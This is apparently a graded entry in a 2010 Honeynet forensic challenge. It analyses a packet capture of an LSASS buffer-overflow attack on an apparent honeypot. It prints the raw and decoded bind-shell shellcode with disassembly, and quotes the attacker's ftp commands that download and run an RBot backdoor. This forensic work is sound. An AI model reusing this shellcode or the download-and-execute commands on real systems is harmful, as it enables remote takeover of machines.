Challenge 1: Pcap Attack Trace (intermediate) Submission Template

Send submissions to forensicchallenge2010@honeynet.org no later then 17:00 EST, Monday, February 1st 2010. Results will be released on Monday, February 15th 2010.

Name (required): Tareq Saade
Country (optional): USA

Question 1. Which systems (i.e. IP addresses) are involved?	Possible Points: 2pts
Tools Used: WireShark, p0f, NetworkMiner	Awarded Points:2pts
Answer 1. 98.114.205.102 [**HOD**] (Windows 2000 build 2195, Cisco Systems MAC) *This is the attacker system* 182.150.11.111 [**VIDCAM**] (Linux 2.6 or newer, Supermicro Computer Inc. MAC) *This is the victim system*	
Examiner's Comments:	

Question 2. What can you find out about the attacking host (e.g., where is it located)?	Possible Points: 2pts
Tools Used: whois, WireShark	Awarded Points:2pts
Answer 2. The attacking host is on Verizon IP space and resolves to "*pool-98-114-205-102.phlapa.fios.verizon.net*" which indicates that the IP block assigned to Verizon consumer fiber optic service. It is *15 hops* from the victim. Verizon reports the IP as being hosted in *Southampton, PA*. The machine is running *Windows 2000 build 2195* (which is the production release), has a NIC with a mac address registered to Cisco System (*0008E23B5601*) and is configured with hostname '*HOD'*. It is also running an ftpd on port *8884.*	
Examiner's Comments:	

Question 3. How many TCP sessions are contained in the dump file?	Possible Points: 2pts
Tools Used: WireShark, Network Miner	Awarded Points:2pts
Answer 3. There are **5 sessions** in the packet capture dump file: **1.** 98.114.205.102:1821 -> 192.150.11.111:445 **2.** 98.114.205.102:1828 -> 192.150.11.111:445 **3.** 98.114.205.102:1924 -> 192.150.11.111:1957 **4.** 98.114.205.102:2152 -> 192.150.11.111:1080 **5.** 192.150.11.111:36296 -> 98.114.205.102:8884	
Examiner's Comments:	

Question 4. How long did it take to perform the attack?	Possible Points: 2pts
Tools Used: WireShark	Awarded Points:2pts

Answer 4.

The entire attack was perfomed in approximately 16 seconds.

First frame = *4/19/2009 20:28:28.374595000*
Last frame = *4/19/2009 20:28:44.593813000*
Total time = 16.219218 seconds

The entire network capture spans 16 seconds, so the actual attack was executed in <16s.

Examiner's Comments:

Question 5. Which operating system was targeted by the attack? And which service? Which vulnerability?	Possible Points: 6pts
Tools Used: WireShark	Awarded Points:6pts

Answer 5.

Windows XP was targeted (although this vulnerability affects more than just Windows XP).
The "*Local Security Authority Subsystem Service*" (LSASS) was targeted with a buffer overflow attack against the *DsRolerUpgradeDownlevelServer()* function. The vulnerability is known as *CVE-2003-05333*.

Microsoft issued a fix for this vulnerability *MS04-011* on April 13, 2004 (almost 5 years to the day prior to this attack). Incidentally this is also the same vulnerability that was being exploited by the infamous 'Sasser' worm.

Examiner's Comments:

Question 6. Can you sketch an overview of the general actions performed by the attacker?	Possible Points: 6pts
Tools Used: WireShark	Awarded Points:4pts

Answer 6.

A summary and timeline of the general actions performed by the attacker:

1. Attacker exploited smb with a buffer overflow and passes shellcode to bind cmd to a port in order to receive further instructions
   (*Frame 33, 20:28:30.180587000*)
2. FTP download and malware execution instructions are transmitted to the victim system
   (*Frame 42, 20:28:31.819551000*)
3. Victim connects ot FTP server
   (*Frame 52, 20:28:33.576321000*)
4. Victim starts downloading ssms.exe malware
   (*Frame 72, 20:28:34.648099000*)
5. Connection to FTP is closed
   (F*rame 348, 20:28:44.593813000*)

Examiner's Comments:

Question 7. What specific vulnerability was attacked?	Possible Points: 2pts
Tools Used: WireShark, Bing Search	Awarded Points:2pts

Answer 7.

A stack-based buffer overflow in certain *Active Directory* service functions in *LSASRV.DLL* of the *Local Security Authority Subsystem Service* (LSASS) in *Microsoft Windows NT 4.0 SP6a, 2000 SP2* through *SP4, XP SP1, Server 2003, NetMeeting, Windows 98*, and *Windows ME*, was used to allow a remote attackers to execute arbitrary code via a packet that causes the *DsRolerUpgradeDownlevelServer()* function to create long debug entries for the DCPROMO.LOG log file.

Examiner's Comments:

Question 8. What actions does the shellcode perform? Pls list the shellcode	Possible Points: 8pts
Tools Used: WireShark, IDA	Awarded Points:7pts

Answer 8.

The full disassembly listing is very long, so I will post the shellcode in its "raw" form and then offer an explanation of what it's doing in the form of highlight bullet points.

Obfuscated shellcode:

```
\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x7d\x01\x80\x34\x0a\x99\xe2\xfa\xeb\x05\xe8\xeb\xff\xff\xff\x70\x95\x98\x99\x99\xc3\xfd\x38\xa9\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91\x12\x41\x12\xea\xa5\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a\x62\x12\xd7\x8d\xaa\x74\xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b\xf3\x97\xc0\x6a\x3f\xed\x91\xc0\xc6\x1a\x5e\x9d\xdc\x7b\x70\xc0\xc6\xc7\x12\x54\x12\xdf\xbd\x9a\x5a\x48\x78\x9a\x58\xaa\x50\xff\x12\x91\x12\xdf\x85\x9a\x5a\x58\x78\x9b\x9a\x58\x12\x99\x9a\x5a\x12\x63\x12\x6e\x1a\x5f\x97\x12\x49\xf3\x9a\xc0\x71\x1e\x99\x99\x99\x1a\x5f\x94\xcb\xcf\x66\xce\x65\xc3\x12\x41\xf3\x9c\xc0\x71\xed\x99\x99\x99\xc9\xc9\xc9\xc9\xf3\x98\xf3\x9b\x66\xce\x75\x12\x41\x5e\x9e\x9b\x99\x9e\x3c\xaa\x59\x10\xde\x9d\xf3\x89\xce\xca\x66\xce\x69\xf3\x98\xca\x66\xce\x6d\xc9\xc9\xca\x66\xce\x61\x12\x49\x1a\x75\xdd\x12\x6d\xaa\x59\xf3\x89\xc0\x10\x9d\x17\x7b\x62\x10\xcf\xa1\x10\xcf\xa5\x10\xcf\xd9\xff\x5e\xdf\xb5\x98\x98\x14\xde\x89\xc9\xcf\xaa\x50\xc8\xc8\xc8\xf3\x98\xc8\xc8\x5e\xde\xa5\xfa\xf4\xfd\x99\x14\xde\xa5\xc9\xc8\x66\xce\x79\xcb\x66\xce\x65\xca\x66\xce\x65\xc9\x66\xce\x7d\xaa\x59\x35\x1c\x59\xec\x60\xc8\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59\x5a\x71\x76\x67\x66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd\xfd\xeb\xfc\xea\xea\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xdc\xe1\xf0\xed\xcd\xf1\xeb\xfc\xf8\xfd\x99\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xee\xea\xab\xc6\xaa\xab\x99\xce\xca\xd8\xca\xf6\xfa\xf2\xfc\xed\xd8\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xfa\xf5\xf6\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99
```

Unobfuscated shellcode:

```
\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\xE9\x0C\x01\x00\x00\x5A\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x8B\xD8\x8B\x73\x3C\x8B\x74\x1E\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x14\x33\xED\x56\x57\x51\x8B\x3F\x03\xFB\x8B\xF2\x6A\x0E\x59\xF3\xA6\x74\x08\x59\x5F\x83\xC7\x04\x45\xE2\xE9\x59\x5F\x5E\x8B\xCD\x8B\x46\x24\x03\xC3\xD1\xE1\x03\xC1\x33\xC9\x66\x8B\x08\x8B\x46\x1C\x03\xC3\xC1\xE1\x02\x03\xC1\x8B\x00\x03\xC3\x8B\xFA\x8B\xF7\x83\xC6\x0E\x8B\xD0\x6A\x03\x59\xE8\x87\x00\x00\x00\x83\xC6\x0D\x52\x56\xFF\x57\xFC\x5A\x8B\xD8\x6A\x05\x59\xE8\x74\x00\x00\x00\x50\x50\x50\x50\x6A\x01\x6A\x02\xFF\x57\xEC\x8B\xD8\xC7\x07\x02\x00\x07\xA5\x33\xC0\x89\x47\x04\x6A\x10\x57\x53\xFF\x57\xF0\x6A\x01\x53\xFF\x57\xF4\x50\x50\x53\xFF\x57\xF8\x8B\xD0\x83\xEC\x44\x8B\xF4\x33\xC0\x6A\x10\x59\x89\x04\x8E\xE2\xFB\x89\x56\x38\x89\x56\x3C\x89\x56\x40\x66\xC7\x46\x2C\x01\x01\x8D\x47\x10\x50\x56\x33\xC9\x51\x51\x51\x6A\x01\x51\x51\xC7\x47\x3C\x63\x6D\x64\x00\x8D\x47\x3C\x50\x51\xFF\x57\xE0\x52\xFF\x57\xFC\x53\xFF\x57\xFC\x50\xFF\x57\xE4\x33\xC0\xAC\x85\xC0\x75\xF9\x51\x52\x56\x53\xFF\xD2\x5A\x59\xAB\xE2\xEE\x33\xC0\xC3\xE8\xEF\xFE\xFF\xFF\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x41\x00\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x77\x73\x32\x5F\x33\x32\x00\x57\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x62\x69\x6E\x64\x00\x6C\x69\x73\x74\x65\x6E\x00\x61\x63\x63\x65\x70\x74\x00\x63\x6C\x6F\x73\x65\x73\x6F\x63\x6B\x65\x74\x00
```

Shellcode Highlights:

In the following code listing, we observe the initial shellcode deobfuscation loop. It patches 381 bytes (17D) by XORing them with 99h. The result of this loop is listed in the section entitled 'unobfuscated shellcode' above.

```
xor     ecx, ecx
mov     cx, 17Dh
xor     byte ptr [edx+ecx], 99h
loop    loc_A
jmp     short loc_17
```

The following listing exhibits the shellcode registering port 1957 (7A5h) as listening on all interfaces. It accepts incoming connections and bind to cmd as will be demonstrated in the next disassembly listing.

```
call    dword ptr [edi-14h] ; WSASocketA
mov     ebx, eax
mov     dword ptr [edi], 0A5070002h ; port 7A5, inteface any
```

```
xor     eax, eax
mov     [edi+4], eax
push    10h
push    edi
push    ebx
call    dword ptr [edi-10h] ; bind
push    1
push    ebx
call    dword ptr [edi-0Ch] ; listen
push    eax
push    eax
push    ebx
call    dword ptr [edi-8] ; accept
```

In the last disassembly listing, we observe the shellcode binding the listening port to 'cmd' such that incoming data will be executed by the Windows Command Line Interpretter.

```
lea     eax, [edi+10h]  ; bind
push    eax
push    esi
xor     ecx, ecx
push    ecx
push    ecx
push    ecx
push    1
push    ecx
push    ecx
mov     dword ptr [edi+3Ch], 'dmc'
lea     eax, [edi+3Ch]
push    eax
push    ecx
call    dword ptr [edi-20h] ; CreateProcAddress
push    edx
call    dword ptr [edi-4] ; closesocket
push    ebx
call    dword ptr [edi-4] ; closesocket
push    eax
call    dword ptr [edi-1Ch] ; ExitThread
```

Examiner's Comments:

Question 9. Do you think a Honeypot was used to pose as a vulnerable victim? Why?	Possible Points: 6pts
Tools Used:	Awarded Points:6pts

Answer 9.

I suspect that the victim machine is indeed a honeypot- specifically 'Nepenthes' for two reasons:

#1. The victim machine is deceptive about it's operating system
#2. The victim machine downloads malware from the attacker even in the abscene of accurate download instructions

In order to support claim #1, I observed that:

- The victim machine reports itself as being *Windows XP* but in fact is a *linux* machine
  - Windows XP typically has a TTL of *128*, however this machine is set to *64* which is typical of Linux.
  - In frame 16 [and others] the victim system reports its native OS as *Windows 5.1* [Windows XP] during the SMB negotiation phase.
- p0f (a passive os finterprinting tool) determines that the victim machine is actually a linux box running the 2.6 kernel or greater based on various properties of the network capture (including window size, initial ttl, don't fragment bit, SYN packet size, option value and order, and so forth)
- Packet headers remain consistent thus eliminating the possibility that an XP machine is being forwarded or is behind a NAT device

In order to support claim #2, I observed that:

- The attacking host supplied an FTP address of *0.0.0.0* from which to download the file *ssms.exe*, however the victim

machine was able to correct this error and connect to the attackers IP on the same port to acquire the file in question. See my answer to question #11 for a full listing of the 'ftp' instructions.

- *Nepenthes* (a Linux based low-interaction honeypot system) will replace *0.0.0.0* if the '*replace_local_ips*' is set (this is true by default).

Examiner's Comments:

Question 10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge)	Possible Points: 2pts
Tools Used:	Awarded Points:2pts

Answer 10.

Malware was involved. Specifically, a file named *ssms.exe* (sha1: *ac3cdd673f5126bc49faa72fb52284f513929db4*) was downloaded via ftp from the attacker system. The file is detected by the Microsoft anti-malware scanner as **Backdoor:Win32/RBot** (aka *SDBot*, *Gaobot*, *Mybot*).

The file is packed with *PELock*, adds itself to autostart keys, drops itself into the *system32* directory, cleans up with a batch file (*a.bat*), spawns new processes and performs a variety of other suspicious behaviors.

Virtually every anti-virus vendor detects this file as a malware threat.

Examiner's Comments:

Question 11. Do you think this is a manual or an automated attack? Why?	Possible Points: 2pts
Tools Used:	Awarded Points:2pts

Answer 11.

This is very likely an automated attack.

A human would have a hard time executing this entire attack in 16 seconds (see question 4). Further, this is a highly wormable scenario (lessons learnt from the sasser worm which used the same vulnerability) – automating a scanning/target selection process into the dropped sample along with the exploit scenario that we observed would be relatively simple.

The attacker also supplied an invalid IP address when sending malware ftp download instructions (frame 42):

```
echo open 0.0.0.0 8884 > o
echo user 1 1 >> o
echo get ssms.exe >> o
echo quit >> o
ftp -n -s:o
del /F /Q o
ssms.exe
```

This sort of error is typical of an automated system – and is likely caused by a bad attempt at looking up the hosts external IP. It would be a stetch to imagine a human attacker making this sort of error after having executed all the other components of this attack with timing and precision, for them to supply *0.0.0.0* or some other local address as their malware ftp server IP seems quite unlikely.

Examiner's Comments:

+1 bonus point for shellcode analysis
Total awarded points: 38 points